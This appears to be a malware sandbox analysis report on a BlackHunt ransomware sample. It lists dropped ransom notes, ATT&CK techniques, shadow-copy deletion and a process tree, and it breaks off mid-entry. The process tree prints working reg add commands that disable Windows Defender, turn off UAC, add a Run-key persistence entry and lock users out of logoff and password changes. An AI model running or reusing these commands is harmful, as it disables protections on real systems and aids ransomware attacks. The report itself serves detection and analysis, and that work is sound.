File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\dt.jar	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\sRGB.pf	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\meta-index	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2476	6020	WerFault.exe	286

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1984	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2436	vssadmin.exe
3312	vssadmin.exe
4364	vssadmin.exe
3600	vssadmin.exe
4612	vssadmin.exe
6116	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
396	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	Conhost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2484	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeRestorePrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeBackupPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeTakeOwnershipPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeAuditPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeSecurityPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeIncBasePriorityPrivilege	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Token: SeBackupPrivilege	2632	vssvc.exe
Token: SeRestorePrivilege	2632	vssvc.exe
Token: SeAuditPrivilege	2632	vssvc.exe
Token: SeBackupPrivilege	1112	wbengine.exe
Token: SeRestorePrivilege	1112	wbengine.exe
Token: SeSecurityPrivilege	1112	wbengine.exe
Token: SeSecurityPrivilege	2032	wevtutil.exe
Token: SeBackupPrivilege	2032	wevtutil.exe
Token: SeSecurityPrivilege	2724	wevtutil.exe
Token: SeBackupPrivilege	2724	wevtutil.exe
Token: SeSecurityPrivilege	1976	wevtutil.exe
Token: SeBackupPrivilege	1976	wevtutil.exe
Token: SeSecurityPrivilege	2364	wevtutil.exe
Token: SeBackupPrivilege	2364	wevtutil.exe
Token: SeSecurityPrivilege	220	wevtutil.exe
Token: SeBackupPrivilege	220	wevtutil.exe
Token: SeDebugPrivilege	396	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 4608	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	92
PID 5036 wrote to memory of 4608	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	92
PID 5036 wrote to memory of 1604	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	94
PID 5036 wrote to memory of 1604	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	94
PID 5036 wrote to memory of 2912	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	96
PID 5036 wrote to memory of 2912	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	96
PID 5036 wrote to memory of 4764	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	187
PID 5036 wrote to memory of 4764	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	187
PID 5036 wrote to memory of 2168	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	167
PID 5036 wrote to memory of 2168	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	167
PID 5036 wrote to memory of 1992	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	102
PID 5036 wrote to memory of 1992	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	102
PID 4608 wrote to memory of 3388	4608	cmd.exe	105
PID 4608 wrote to memory of 3388	4608	cmd.exe	105
PID 5036 wrote to memory of 3352	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	104
PID 5036 wrote to memory of 3352	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	104
PID 1604 wrote to memory of 1060	1604	cmd.exe	107
PID 1604 wrote to memory of 1060	1604	cmd.exe	107
PID 5036 wrote to memory of 1880	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	108
PID 5036 wrote to memory of 1880	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	108
PID 5036 wrote to memory of 5064	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	211
PID 5036 wrote to memory of 5064	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	211
PID 5036 wrote to memory of 2148	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	111
PID 5036 wrote to memory of 2148	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	111
PID 5036 wrote to memory of 2764	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	114
PID 5036 wrote to memory of 2764	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	114
PID 2168 wrote to memory of 4716	2168	reg.exe	110
PID 2168 wrote to memory of 4716	2168	reg.exe	110
PID 2912 wrote to memory of 3512	2912	cmd.exe	189
PID 2912 wrote to memory of 3512	2912	cmd.exe	189
PID 5036 wrote to memory of 2760	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	117
PID 5036 wrote to memory of 2760	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	117
PID 1992 wrote to memory of 1756	1992	cmd.exe	119
PID 1992 wrote to memory of 1756	1992	cmd.exe	119
PID 3352 wrote to memory of 4236	3352	cmd.exe	121
PID 3352 wrote to memory of 4236	3352	cmd.exe	121
PID 4764 wrote to memory of 2484	4764	Conhost.exe	122
PID 4764 wrote to memory of 2484	4764	Conhost.exe	122
PID 5036 wrote to memory of 4812	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	126
PID 5036 wrote to memory of 4812	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	126
PID 5036 wrote to memory of 4636	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	124
PID 5036 wrote to memory of 4636	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	124
PID 1880 wrote to memory of 1716	1880	cmd.exe	123
PID 1880 wrote to memory of 1716	1880	cmd.exe	123
PID 5036 wrote to memory of 2556	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	127
PID 5036 wrote to memory of 2556	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	127
PID 5036 wrote to memory of 856	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	128
PID 5036 wrote to memory of 856	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	128
PID 5036 wrote to memory of 4596	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	131
PID 5036 wrote to memory of 4596	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	131
PID 5036 wrote to memory of 2000	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	210
PID 5036 wrote to memory of 2000	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	210
PID 5036 wrote to memory of 1464	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	135
PID 5036 wrote to memory of 1464	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	135
PID 5036 wrote to memory of 752	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	137
PID 5036 wrote to memory of 752	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	137
PID 5036 wrote to memory of 4784	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	140
PID 5036 wrote to memory of 4784	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	140
PID 5036 wrote to memory of 1268	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	141
PID 5036 wrote to memory of 1268	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	141
PID 5036 wrote to memory of 664	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	143
PID 5036 wrote to memory of 664	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	143
PID 5036 wrote to memory of 5032	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	146
PID 5036 wrote to memory of 5032	5036	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
"C:\Users\Admin\AppData\Local\Temp\5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:4764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3460
- C:\Windows\System32\cmd.exe
